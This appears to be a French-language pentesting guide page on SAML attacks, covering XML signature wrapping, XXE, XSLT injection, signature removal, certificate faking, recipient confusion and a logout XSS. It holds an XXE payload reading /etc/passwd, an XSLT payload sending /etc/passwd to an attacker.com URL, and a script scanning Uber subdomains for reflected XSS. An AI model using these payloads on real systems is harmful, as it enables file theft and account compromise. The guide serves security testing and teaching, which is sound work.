Attaques SAML

Reading time: 14 minutes

Attaques SAML

Informations de base

SAML Basics

Outil

SAMLExtractor: Un outil qui peut prendre une URL ou une liste d'URL et renvoie l'URL de consommation SAML.

Aller-retour XML

Dans XML, la partie signée de l'XML est sauvegardée en mémoire, puis un certain encodage/décodage est effectué et la signature est vérifiée. Idéalement, cet encodage/décodage ne devrait pas changer les données, mais dans ce scénario, les données vérifiées et les données originales pourraient ne pas être les mêmes.

Par exemple, vérifiez le code suivant :

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Exécuter le programme contre REXML 3.2.4 ou une version antérieure donnerait plutôt le résultat suivant :

First child in original doc: Y
First child after round-trip: Z

Voici comment REXML a vu le document XML original du programme ci-dessus :

Et voici comment il l'a vu après un cycle d'analyse et de sérialisation :

Pour plus d'informations sur la vulnérabilité et comment l'exploiter :

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

Attaques par enveloppement de signature XML

Dans les attaques par enveloppement de signature XML (XSW), les adversaires exploitent une vulnérabilité qui survient lorsque les documents XML sont traités à travers deux phases distinctes : validation de signature et invocation de fonction. Ces attaques impliquent de modifier la structure du document XML. Plus précisément, l'attaquant injecte des éléments falsifiés qui ne compromettent pas la validité de la signature XML. Cette manipulation vise à créer une divergence entre les éléments analysés par la logique de l'application et ceux vérifiés par le module de vérification de signature. En conséquence, bien que la signature XML reste techniquement valide et passe la vérification, la logique de l'application traite les éléments frauduleux. Par conséquent, l'attaquant contourne efficacement la protection d'intégrité et l'authentification d'origine de la signature XML, permettant l'injection de contenu arbitraire sans détection.

Les attaques suivantes sont basées sur cet article de blog et ce document. Consultez-les pour plus de détails.

XSW #1

• Stratégie : Un nouvel élément racine contenant la signature est ajouté.
• Implication : Le validateur peut être confus entre le "Response -> Assertion -> Subject" légitime et le "Response -> Assertion -> Subject" malveillant de l'attaquant, entraînant des problèmes d'intégrité des données.

XSW #2

• Différence par rapport à XSW #1 : Utilise une signature détachée au lieu d'une signature enveloppante.
• Implication : La structure "malveillante", similaire à XSW #1, vise à tromper la logique métier après la vérification d'intégrité.

XSW #3

• Stratégie : Une assertion malveillante est créée au même niveau hiérarchique que l'assertion originale.
• Implication : Vise à tromper la logique métier pour qu'elle utilise les données malveillantes.

XSW #4

• Différence par rapport à XSW #3 : L'assertion originale devient un enfant de l'assertion dupliquée (malveillante).
• Implication : Semblable à XSW #3 mais modifie la structure XML de manière plus agressive.

XSW #5

• Aspect unique : Ni la signature ni l'assertion originale ne respectent les configurations standard (enveloppées/enveloppantes/détachées).
• Implication : L'assertion copiée enveloppe la signature, modifiant la structure de document attendue.

XSW #6

• Stratégie : Insertion à un emplacement similaire à XSW #4 et #5, mais avec une variante.
• Implication : L'assertion copiée enveloppe la signature, qui enveloppe ensuite l'assertion originale, créant une structure trompeuse imbriquée.

XSW #7

• Stratégie : Un élément Extensions est inséré avec l'assertion copiée comme enfant.
• Implication : Cela exploite le schéma moins restrictif de l'élément Extensions pour contourner les contre-mesures de validation de schéma, en particulier dans des bibliothèques comme OpenSAML.

XSW #8

• Différence par rapport à XSW #7 : Utilise un autre élément XML moins restrictif pour une variante de l'attaque.
• Implication : L'assertion originale devient un enfant de l'élément moins restrictif, inversant la structure utilisée dans XSW #7.

Outil

Vous pouvez utiliser l'extension Burp SAML Raider pour analyser la requête, appliquer toute attaque XSW de votre choix et la lancer.

XXE

Si vous ne savez pas quel type d'attaques sont les XXE, veuillez lire la page suivante :

XXE - XEE - XML External Entity

Les réponses SAML sont des documents XML décompressés et encodés en base64 et peuvent être sensibles aux attaques d'entité externe XML (XXE). En manipulant la structure XML de la réponse SAML, les attaquants peuvent tenter d'exploiter les vulnérabilités XXE. Voici comment une telle attaque peut être visualisée :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Outils

Vous pouvez également utiliser l'extension Burp SAML Raider pour générer le POC à partir d'une requête SAML afin de tester d'éventuelles vulnérabilités XXE et vulnérabilités SAML.

Vérifiez également cette conférence : https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Pour plus d'informations sur XSLT, allez à :

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Les transformations de langage de feuille de style extensible (XSLT) peuvent être utilisées pour transformer des documents XML en divers formats comme HTML, JSON ou PDF. Il est crucial de noter que les transformations XSLT sont effectuées avant la vérification de la signature numérique. Cela signifie qu'une attaque peut réussir même sans une signature valide ; une signature auto-signée ou invalide suffit pour procéder.

Ici, vous pouvez trouver un POC pour vérifier ce type de vulnérabilités, dans la page hacktricks mentionnée au début de cette section, vous pouvez trouver des payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Outil

Vous pouvez également utiliser l'extension Burp SAML Raider pour générer le POC à partir d'une requête SAML afin de tester d'éventuelles vulnérabilités XSLT.

Vérifiez également cette conférence : https://www.youtube.com/watch?v=WHn-6xHL7mI

Exclusion de la signature XML

L'Exclusion de la signature XML observe le comportement des implémentations SAML lorsque l'élément Signature est absent. Si cet élément est manquant, la validation de la signature peut ne pas se produire, rendant le système vulnérable. Il est possible de tester cela en modifiant les contenus qui sont généralement vérifiés par la signature.

Outil

Vous pouvez également utiliser l'extension Burp SAML Raider. Interceptez la réponse SAML et cliquez sur Remove Signatures. Ce faisant, tous les éléments Signature sont supprimés.

Avec les signatures supprimées, laissez la requête se poursuivre vers la cible. Si la signature n'est pas requise par le Service

Falsification de certificat

Falsification de certificat

La falsification de certificat est une technique pour tester si un Fournisseur de services (SP) vérifie correctement qu'un message SAML est signé par un fournisseur d'identité (IdP) de confiance. Cela implique d'utiliser un *certificat auto-signé pour signer la réponse ou l'assertion SAML, ce qui aide à évaluer le processus de validation de confiance entre le SP et l'IdP.

Comment réaliser la falsification de certificat

Les étapes suivantes décrivent le processus en utilisant l'extension Burp SAML Raider :

1. Interceptez la réponse SAML.
2. Si la réponse contient une signature, envoyez le certificat à SAML Raider Certs en utilisant le bouton Send Certificate to SAML Raider Certs.
3. Dans l'onglet Certificats de SAML Raider, sélectionnez le certificat importé et cliquez sur Save and Self-Sign pour créer un clone auto-signé du certificat original.
4. Retournez à la requête interceptée dans le Proxy de Burp. Sélectionnez le nouveau certificat auto-signé dans le menu déroulant de la signature XML.
5. Supprimez toutes les signatures existantes avec le bouton Remove Signatures.
6. Signez le message ou l'assertion avec le nouveau certificat en utilisant le bouton (Re-)Sign Message ou (Re-)Sign Assertion, selon le cas.
7. Transmettez le message signé. Une authentification réussie indique que le SP accepte les messages signés par votre certificat auto-signé, révélant d'éventuelles vulnérabilités dans le processus de validation des messages SAML.

Confusion du destinataire de jeton / Confusion de cible de fournisseur de services

La confusion du destinataire de jeton et la confusion de cible de fournisseur de services impliquent de vérifier si le Fournisseur de services valide correctement le destinataire prévu d'une réponse. En essence, un fournisseur de services devrait rejeter une réponse d'authentification si elle était destinée à un autre fournisseur. L'élément critique ici est le champ Recipient, trouvé dans l'élément SubjectConfirmationData d'une réponse SAML. Ce champ spécifie une URL indiquant où l'assertion doit être envoyée. Si le destinataire réel ne correspond pas au fournisseur de services prévu, l'assertion doit être considérée comme invalide.

Comment cela fonctionne

Pour qu'une attaque de confusion de destinataire de jeton SAML (SAML-TRC) soit réalisable, certaines conditions doivent être remplies. Tout d'abord, il doit y avoir un compte valide sur un fournisseur de services (appelé SP-Legit). Deuxièmement, le fournisseur de services ciblé (SP-Target) doit accepter des jetons du même fournisseur d'identité qui sert SP-Legit.

Le processus d'attaque est simple dans ces conditions. Une session authentique est initiée avec SP-Legit via le fournisseur d'identité partagé. La réponse SAML du fournisseur d'identité à SP-Legit est interceptée. Cette réponse SAML interceptée, initialement destinée à SP-Legit, est ensuite redirigée vers SP-Target. Le succès de cette attaque est mesuré par l'acceptation de l'assertion par SP-Target, accordant l'accès aux ressources sous le même nom de compte utilisé pour SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS dans la fonctionnalité de déconnexion

La recherche originale peut être consultée via ce lien.

Au cours du processus de brute forcing de répertoire, une page de déconnexion a été découverte à :

https://carbon-prototype.uberinternal.com:443/oidauth/logout

En accédant à ce lien, une redirection s'est produite vers :

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Cela a révélé que le paramètre base accepte une URL. Dans cette optique, l'idée est née de substituer l'URL par javascript:alert(123); dans une tentative d'initier une attaque XSS (Cross-Site Scripting).

Exploitation de masse

À partir de cette recherche :

L'outil SAMLExtractor a été utilisé pour analyser les sous-domaines de uberinternal.com pour les domaines utilisant la même bibliothèque. Par la suite, un script a été développé pour cibler la page oidauth/prompt. Ce script teste la XSS (Cross-Site Scripting) en saisissant des données et en vérifiant si elles sont reflétées dans la sortie. Dans les cas où l'entrée est effectivement reflétée, le script signale la page comme vulnérable.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Références

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/